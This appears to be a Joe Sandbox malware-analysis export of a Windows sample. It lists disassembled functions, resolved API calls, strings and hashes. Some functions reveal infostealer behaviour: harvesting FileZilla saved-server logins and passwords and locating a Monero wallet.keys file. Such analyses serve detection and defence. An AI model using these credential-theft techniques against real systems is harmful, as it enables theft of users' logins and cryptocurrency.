API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 73cbf5222ad5e2ac58b26b20a1b6f3bed8a10fb5f741ffbfa538e445ef74aa77
Instruction ID: 29239746091aec9ff93ce9d022248d34def1d0cce2608b9afffc8b557866229e
Opcode Fuzzy Hash: 73cbf5222ad5e2ac58b26b20a1b6f3bed8a10fb5f741ffbfa538e445ef74aa77
Instruction Fuzzy Hash: F0F04FB1944348AFC704DF98ED85BAEBBB8FB08B21F10025AFA15E3780C7B45504CBA1

Function 00B27970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00B30DFC), ref: 00B279A0
wsprintfA.USER32 ref: 00B279B6

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 716908f78bf6068c74408c792d0061d25f951d8f7d3fd7288cb122bb3d00f237
Instruction ID: 0cfa5bdd4dee88242f3287f15fd9bb22ef784db04b877a3a2667e160f1552a91
Opcode Fuzzy Hash: 716908f78bf6068c74408c792d0061d25f951d8f7d3fd7288cb122bb3d00f237
Instruction Fuzzy Hash: E9F0F6B1910318EBC700CF88EC45FAAB7BCFB08714F100669F904E2280D7745904CBE0

Function 00B295E0 Relevance: 233.4, APIs: 112, Strings: 21, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,007366C8), ref: 00B295FD
GetProcAddress.KERNEL32(75900000,007366A8), ref: 00B29615
GetProcAddress.KERNEL32(75900000,00749300), ref: 00B2962E
GetProcAddress.KERNEL32(75900000,007492D0), ref: 00B29646
GetProcAddress.KERNEL32(75900000,0074CD10), ref: 00B2965E
GetProcAddress.KERNEL32(75900000,0074CDD0), ref: 00B29677
GetProcAddress.KERNEL32(75900000,0073B5F0), ref: 00B2968F
GetProcAddress.KERNEL32(75900000,0074CC98), ref: 00B296A7
GetProcAddress.KERNEL32(75900000,0074CC20), ref: 00B296C0
GetProcAddress.KERNEL32(75900000,0074CE48), ref: 00B296D8
GetProcAddress.KERNEL32(75900000,0074CC80), ref: 00B296F0
GetProcAddress.KERNEL32(75900000,007364E8), ref: 00B29709
GetProcAddress.KERNEL32(75900000,00736548), ref: 00B29721
GetProcAddress.KERNEL32(75900000,00736588), ref: 00B29739
GetProcAddress.KERNEL32(75900000,007367C8), ref: 00B29752
GetProcAddress.KERNEL32(75900000,0074CBA8), ref: 00B2976A
GetProcAddress.KERNEL32(75900000,0074CC50), ref: 00B29782
GetProcAddress.KERNEL32(75900000,0073B370), ref: 00B2979B
GetProcAddress.KERNEL32(75900000,007366E8), ref: 00B297B3
GetProcAddress.KERNEL32(75900000,0074CE90), ref: 00B297CB
GetProcAddress.KERNEL32(75900000,0074CBD8), ref: 00B297E4
GetProcAddress.KERNEL32(75900000,0074CDE8), ref: 00B297FC
GetProcAddress.KERNEL32(75900000,0074CDA0), ref: 00B29814
GetProcAddress.KERNEL32(75900000,00736708), ref: 00B2982D
GetProcAddress.KERNEL32(75900000,0074CBF0), ref: 00B29845
GetProcAddress.KERNEL32(75900000,0074CCF8), ref: 00B2985D
GetProcAddress.KERNEL32(75900000,0074CCB0), ref: 00B29876
GetProcAddress.KERNEL32(75900000,0074CC08), ref: 00B2988E
GetProcAddress.KERNEL32(75900000,0074CE00), ref: 00B298A6
GetProcAddress.KERNEL32(75900000,0074CD28), ref: 00B298BF
GetProcAddress.KERNEL32(75900000,0074CBC0), ref: 00B298D7
GetProcAddress.KERNEL32(75900000,0074CDB8), ref: 00B298EF
GetProcAddress.KERNEL32(75900000,0074CCC8), ref: 00B29908
GetProcAddress.KERNEL32(75900000,0074A118), ref: 00B29920
GetProcAddress.KERNEL32(75900000,0074CC38), ref: 00B29938
GetProcAddress.KERNEL32(75900000,0074CC68), ref: 00B29951
GetProcAddress.KERNEL32(75900000,007365C8), ref: 00B29969
GetProcAddress.KERNEL32(75900000,0074CCE0), ref: 00B29981
GetProcAddress.KERNEL32(75900000,00736608), ref: 00B2999A
GetProcAddress.KERNEL32(75900000,0074CD40), ref: 00B299B2
GetProcAddress.KERNEL32(75900000,0074CD58), ref: 00B299CA
GetProcAddress.KERNEL32(75900000,00736628), ref: 00B299E3
GetProcAddress.KERNEL32(75900000,00736728), ref: 00B299FB
LoadLibraryA.KERNEL32(0074CE60,?,00B25783,00B30AD2,?,?,?,?,?,?,?,?,?,?,00B30ACF,00B30ACE), ref: 00B29A0D
LoadLibraryA.KERNEL32(0074CE18,?,00B25783,00B30AD2,?,?,?,?,?,?,?,?,?,?,00B30ACF,00B30ACE), ref: 00B29A1E
LoadLibraryA.KERNEL32(0074CD70,?,00B25783,00B30AD2,?,?,?,?,?,?,?,?,?,?,00B30ACF,00B30ACE), ref: 00B29A30
LoadLibraryA.KERNEL32(0074CD88,?,00B25783,00B30AD2,?,?,?,?,?,?,?,?,?,?,00B30ACF,00B30ACE), ref: 00B29A42
LoadLibraryA.KERNEL32(0074CE30,?,00B25783,00B30AD2,?,?,?,?,?,?,?,?,?,?,00B30ACF,00B30ACE), ref: 00B29A53
LoadLibraryA.KERNEL32(0074CE78,?,00B25783,00B30AD2,?,?,?,?,?,?,?,?,?,?,00B30ACF,00B30ACE), ref: 00B29A65
LoadLibraryA.KERNEL32(0074D010,?,00B25783,00B30AD2,?,?,?,?,?,?,?,?,?,?,00B30ACF,00B30ACE), ref: 00B29A77
LoadLibraryA.KERNEL32(0074D028,?,00B25783,00B30AD2,?,?,?,?,?,?,?,?,?,?,00B30ACF,00B30ACE), ref: 00B29A88
GetProcAddress.KERNEL32(75FD0000,00736B28), ref: 00B29AAA
GetProcAddress.KERNEL32(75FD0000,0074D040), ref: 00B29AC2
GetProcAddress.KERNEL32(75FD0000,00748F40), ref: 00B29ADA
GetProcAddress.KERNEL32(75FD0000,0074CF38), ref: 00B29AF3
GetProcAddress.KERNEL32(75FD0000,00736B08), ref: 00B29B0B
GetProcAddress.KERNEL32(73AF0000,0073B410), ref: 00B29B30
GetProcAddress.KERNEL32(73AF0000,00736A08), ref: 00B29B49
GetProcAddress.KERNEL32(73AF0000,0073B460), ref: 00B29B61
GetProcAddress.KERNEL32(73AF0000,0074CF80), ref: 00B29B79
GetProcAddress.KERNEL32(73AF0000,0074CF68), ref: 00B29B92
GetProcAddress.KERNEL32(73AF0000,00736948), ref: 00B29BAA
GetProcAddress.KERNEL32(73AF0000,00736BE8), ref: 00B29BC2
GetProcAddress.KERNEL32(73AF0000,0074D0B8), ref: 00B29BDB
GetProcAddress.KERNEL32(763B0000,00736BA8), ref: 00B29BFC
GetProcAddress.KERNEL32(763B0000,00736B48), ref: 00B29C14
GetProcAddress.KERNEL32(763B0000,0074D118), ref: 00B29C2D
GetProcAddress.KERNEL32(763B0000,0074D0D0), ref: 00B29C45
GetProcAddress.KERNEL32(763B0000,00736AC8), ref: 00B29C5D
GetProcAddress.KERNEL32(750F0000,0073B618), ref: 00B29C83
GetProcAddress.KERNEL32(750F0000,0073B438), ref: 00B29C9B
GetProcAddress.KERNEL32(750F0000,0074D190), ref: 00B29CB3
GetProcAddress.KERNEL32(750F0000,00736A48), ref: 00B29CCC
GetProcAddress.KERNEL32(750F0000,00736AE8), ref: 00B29CE4
GetProcAddress.KERNEL32(750F0000,0073B690), ref: 00B29CFC
GetProcAddress.KERNEL32(75A50000,0074CFC8), ref: 00B29D22
GetProcAddress.KERNEL32(75A50000,00736B88), ref: 00B29D3A
GetProcAddress.KERNEL32(75A50000,00748DE0), ref: 00B29D52
GetProcAddress.KERNEL32(75A50000,0074CF98), ref: 00B29D6B
GetProcAddress.KERNEL32(75A50000,0074CFE0), ref: 00B29D83
GetProcAddress.KERNEL32(75A50000,00736968), ref: 00B29D9B
GetProcAddress.KERNEL32(75A50000,00736A68), ref: 00B29DB4
GetProcAddress.KERNEL32(75A50000,0074CEF0), ref: 00B29DCC
GetProcAddress.KERNEL32(75A50000,0074D130), ref: 00B29DE4
GetProcAddress.KERNEL32(75070000,00736B68), ref: 00B29E06
GetProcAddress.KERNEL32(75070000,0074D058), ref: 00B29E1E
GetProcAddress.KERNEL32(75070000,0074CFF8), ref: 00B29E36
GetProcAddress.KERNEL32(75070000,0074D148), ref: 00B29E4F
GetProcAddress.KERNEL32(75070000,0074D070), ref: 00B29E67
GetProcAddress.KERNEL32(74E50000,00736C28), ref: 00B29E88
GetProcAddress.KERNEL32(74E50000,00736908), ref: 00B29EA1
GetProcAddress.KERNEL32(75320000,00736928), ref: 00B29EC2
GetProcAddress.KERNEL32(75320000,0074D088), ref: 00B29EDA
GetProcAddress.KERNEL32(6F080000,00736BC8), ref: 00B29F00
GetProcAddress.KERNEL32(6F080000,00736C68), ref: 00B29F18
GetProcAddress.KERNEL32(6F080000,007368C8), ref: 00B29F30
GetProcAddress.KERNEL32(6F080000,0074D0A0), ref: 00B29F49
GetProcAddress.KERNEL32(6F080000,00736C08), ref: 00B29F61
GetProcAddress.KERNEL32(6F080000,00736C48), ref: 00B29F79
GetProcAddress.KERNEL32(6F080000,007368E8), ref: 00B29F92
GetProcAddress.KERNEL32(6F080000,00736A88), ref: 00B29FAA
GetProcAddress.KERNEL32(6F080000,InternetSetOptionA), ref: 00B29FC1
GetProcAddress.KERNEL32(6F080000,HttpQueryInfoA), ref: 00B29FD7
GetProcAddress.KERNEL32(74E00000,0074D160), ref: 00B29FF9
GetProcAddress.KERNEL32(74E00000,00748F60), ref: 00B2A011
GetProcAddress.KERNEL32(74E00000,0074CF50), ref: 00B2A029
GetProcAddress.KERNEL32(74E00000,0074CEA8), ref: 00B2A042
GetProcAddress.KERNEL32(74DF0000,00736AA8), ref: 00B2A063
GetProcAddress.KERNEL32(6E350000,0074D0E8), ref: 00B2A084
GetProcAddress.KERNEL32(6E350000,00736988), ref: 00B2A09D
GetProcAddress.KERNEL32(6E350000,0074CFB0), ref: 00B2A0B5
GetProcAddress.KERNEL32(6E350000,0074D100), ref: 00B2A0CD

Strings

hls, xrefs: 00B29F0B
his, xrefs: 00B29D8E
(gs, xrefs: 00B299EE
Hes, xrefs: 00B29714
InternetSetOptionA, xrefs: 00B29FB5
(fs, xrefs: 00B299D5
(ls, xrefs: 00B29E7B
HttpQueryInfoA, xrefs: 00B29FCC
Hls, xrefs: 00B29F6C
hks, xrefs: 00B29DF8
fs, xrefs: 00B297A6
(ks, xrefs: 00B29A9C
Hks, xrefs: 00B29C07
Hjs, xrefs: 00B29CBE
js, xrefs: 00B29CD7
hjs, xrefs: 00B29DA6
His, xrefs: 00B29B9D
(is, xrefs: 00B29EB5
hs, xrefs: 00B29F84
ks, xrefs: 00B29BB5
ds, xrefs: 00B296FB

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (fs$(gs$(is$(ks$(ls$Hes$His$Hjs$Hks$Hls$HttpQueryInfoA$InternetSetOptionA$his$hjs$hks$hls$ds$fs$hs$js$ks
API String ID: 2238633743-1573676358
Opcode ID: 6a8188a0a333c9e4ae5a4fe7195026af993202954f289d9dca09eb63677d8a0d
Instruction ID: 9880a9f1f20a6a8b708113ddc564de17923b5ff438760060a893c1b787396446
Opcode Fuzzy Hash: 6a8188a0a333c9e4ae5a4fe7195026af993202954f289d9dca09eb63677d8a0d
Instruction Fuzzy Hash: 02620EB6522300AFC748DFA8FD88E1A3BAABB8C741754A51AF609E3364D7349441DF74

Function 00B17750 Relevance: 100.3, APIs: 54, Strings: 3, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B17764
RtlAllocateHeap.NTDLL(00000000), ref: 00B1776B
lstrcat.KERNEL32(?,00749B18), ref: 00B1791B
lstrcat.KERNEL32(?,?), ref: 00B1792F
lstrcat.KERNEL32(?,?), ref: 00B17943
lstrcat.KERNEL32(?,?), ref: 00B17957
lstrcat.KERNEL32(?,0074E1B8), ref: 00B1796B
lstrcat.KERNEL32(?,0074E278), ref: 00B1797F
lstrcat.KERNEL32(?,0074E308), ref: 00B17992
lstrcat.KERNEL32(?,0074E2D8), ref: 00B179A6
lstrcat.KERNEL32(?,007347C0), ref: 00B179BA
lstrcat.KERNEL32(?,?), ref: 00B179CE
lstrcat.KERNEL32(?,?), ref: 00B179E2
lstrcat.KERNEL32(?,?), ref: 00B179F6
lstrcat.KERNEL32(?,0074E1B8), ref: 00B17A09
lstrcat.KERNEL32(?,0074E278), ref: 00B17A1D
lstrcat.KERNEL32(?,0074E308), ref: 00B17A31
lstrcat.KERNEL32(?,0074E2D8), ref: 00B17A44
lstrcat.KERNEL32(?,00734828), ref: 00B17A58
lstrcat.KERNEL32(?,?), ref: 00B17A6C
lstrcat.KERNEL32(?,?), ref: 00B17A80
lstrcat.KERNEL32(?,?), ref: 00B17A94
lstrcat.KERNEL32(?,0074E1B8), ref: 00B17AA8
lstrcat.KERNEL32(?,0074E278), ref: 00B17ABB
lstrcat.KERNEL32(?,0074E308), ref: 00B17ACF
lstrcat.KERNEL32(?,0074E2D8), ref: 00B17AE3
lstrcat.KERNEL32(?,007345B8), ref: 00B17AF6
lstrcat.KERNEL32(?,?), ref: 00B17B0A
lstrcat.KERNEL32(?,?), ref: 00B17B1E
lstrcat.KERNEL32(?,?), ref: 00B17B32
lstrcat.KERNEL32(?,0074E1B8), ref: 00B17B46
lstrcat.KERNEL32(?,0074E278), ref: 00B17B5A
lstrcat.KERNEL32(?,0074E308), ref: 00B17B6D
lstrcat.KERNEL32(?,0074E2D8), ref: 00B17B81
lstrcat.KERNEL32(?,007340D8), ref: 00B17B95
lstrcat.KERNEL32(?,?), ref: 00B17BA9
lstrcat.KERNEL32(?,?), ref: 00B17BBD
lstrcat.KERNEL32(?,?), ref: 00B17BD1
lstrcat.KERNEL32(?,0074E1B8), ref: 00B17BE4
lstrcat.KERNEL32(?,0074E278), ref: 00B17BF8
lstrcat.KERNEL32(?,0074E308), ref: 00B17C0C
lstrcat.KERNEL32(?,0074E2D8), ref: 00B17C1F
lstrcat.KERNEL32(?,00734348), ref: 00B17C33
lstrcat.KERNEL32(?,?), ref: 00B17C47
lstrcat.KERNEL32(?,?), ref: 00B17C5B
lstrcat.KERNEL32(?,?), ref: 00B17C6F
lstrcat.KERNEL32(?,0074E1B8), ref: 00B17C83
lstrcat.KERNEL32(?,0074E278), ref: 00B17C96
lstrcat.KERNEL32(?,0074E308), ref: 00B17CAA
lstrcat.KERNEL32(?,0074E2D8), ref: 00B17CBE

Part of subcall function 00B17610: lstrcat.KERNEL32(35475020,00B317A0), ref: 00B17646
Part of subcall function 00B17610: lstrcat.KERNEL32(35475020,00000000), ref: 00B17688
Part of subcall function 00B17610: lstrcat.KERNEL32(35475020, : ), ref: 00B1769A
Part of subcall function 00B17610: lstrcat.KERNEL32(35475020,00000000), ref: 00B176CF
Part of subcall function 00B17610: lstrcat.KERNEL32(35475020,00B317A8), ref: 00B176E0
Part of subcall function 00B17610: lstrcat.KERNEL32(35475020,00000000), ref: 00B17713
Part of subcall function 00B17610: lstrcat.KERNEL32(35475020,00B317AC), ref: 00B1772D
Part of subcall function 00B17610: task.LIBCPMTD ref: 00B1773B

lstrcat.KERNEL32(?,0074E5D0), ref: 00B17E4B
lstrcat.KERNEL32(?,0074D770), ref: 00B17E5E
lstrlen.KERNEL32(35475020), ref: 00B17E6B
lstrlen.KERNEL32(35475020), ref: 00B17E7B

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Strings

xt, xrefs: 00B17971, 00B17A0F, 00B17AAE, 00B17B4C, 00B17BEA, 00B17C89
(Hs, xrefs: 00B17A4A
HCs, xrefs: 00B17C25

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID: (Hs$HCs$xt
API String ID: 928082926-4249503574
Opcode ID: 21e93bee494886eae543a7b30a71b7c07e6d9228f6f5a11994c4e74f01315b09
Instruction ID: 0c71a7b1bd1566ba6f74448d02692051e1b76ff862a11ff351f0ad37c0948aac
Opcode Fuzzy Hash: 21e93bee494886eae543a7b30a71b7c07e6d9228f6f5a11994c4e74f01315b09
Instruction Fuzzy Hash: E13234B2D10314ABCB15EBA0EC89DDE777DAB48700F444AC9F219A2290DE74A785CF65

Function 00B20090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B2A110: lstrcpy.KERNEL32(00B30DFF,00000000), ref: 00B2A158

Part of subcall function 00B28880: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B288AB

Part of subcall function 00B2A2F0: lstrcpy.KERNEL32(00000000,?), ref: 00B2A342
Part of subcall function 00B2A2F0: lstrcat.KERNEL32(00000000), ref: 00B2A352

Part of subcall function 00B2A270: lstrcpy.KERNEL32(?,00B30DFF), ref: 00B2A2D5

Part of subcall function 00B2A380: lstrlen.KERNEL32(?,00748BD0,?,\Monero\wallet.keys,00B30DFF), ref: 00B2A395
Part of subcall function 00B2A380: lstrcpy.KERNEL32(00000000), ref: 00B2A3D4
Part of subcall function 00B2A380: lstrcat.KERNEL32(00000000,00000000), ref: 00B2A3E2

Part of subcall function 00B2A170: lstrcpy.KERNEL32(?,00000000), ref: 00B2A1B6

Part of subcall function 00B19A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B19A3C
Part of subcall function 00B19A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B19A61
Part of subcall function 00B19A10: LocalAlloc.KERNEL32(00000040,?), ref: 00B19A81
Part of subcall function 00B19A10: ReadFile.KERNEL32(000000FF,?,00000000,00B1148F,00000000), ref: 00B19AAA
Part of subcall function 00B19A10: LocalFree.KERNEL32(00B1148F), ref: 00B19AE0
Part of subcall function 00B19A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00B19AEA

Part of subcall function 00B288D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B288F2

GetProcessHeap.KERNEL32(00000000,000F423F,00B30DA6,00B30DA3,00B30DA2,00B30D9F), ref: 00B201A2
RtlAllocateHeap.NTDLL(00000000), ref: 00B201A9
StrStrA.SHLWAPI(00000000,<Host>), ref: 00B201C5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B30D9E), ref: 00B201D3
StrStrA.SHLWAPI(00000000,<Port>), ref: 00B2020F
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B30D9E), ref: 00B2021D
StrStrA.SHLWAPI(00000000,<User>), ref: 00B20259
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B30D9E), ref: 00B20267
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00B202A3
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B30D9E), ref: 00B202B5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B30D9E), ref: 00B20342
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B30D9E), ref: 00B2035A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B30D9E), ref: 00B20372
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B30D9E), ref: 00B2038A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00B203A2
lstrcat.KERNEL32(?,profile: null), ref: 00B203B1
lstrcat.KERNEL32(?,url: ), ref: 00B203C0
lstrcat.KERNEL32(?,00000000), ref: 00B203D3
lstrcat.KERNEL32(?,00B3161C), ref: 00B203E2
lstrcat.KERNEL32(?,00000000), ref: 00B203F5
lstrcat.KERNEL32(?,00B31620), ref: 00B20404
lstrcat.KERNEL32(?,login: ), ref: 00B20413
lstrcat.KERNEL32(?,00000000), ref: 00B20426
lstrcat.KERNEL32(?,00B3162C), ref: 00B20435
lstrcat.KERNEL32(?,password: ), ref: 00B20444
lstrcat.KERNEL32(?,00000000), ref: 00B20457
lstrcat.KERNEL32(?,00B3163C), ref: 00B20466
lstrcat.KERNEL32(?,00B31640), ref: 00B20475
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00B30D9E), ref: 00B204CE

Strings

login: , xrefs: 00B2040A
url: , xrefs: 00B203B7
<Pass encoding="base64">, xrefs: 00B2029A
<Port>, xrefs: 00B20206
<User>, xrefs: 00B20250
<Host>, xrefs: 00B201BC
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00B200E4
profile: null, xrefs: 00B203A8
password: , xrefs: 00B2043B
browser: FileZilla, xrefs: 00B20399

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
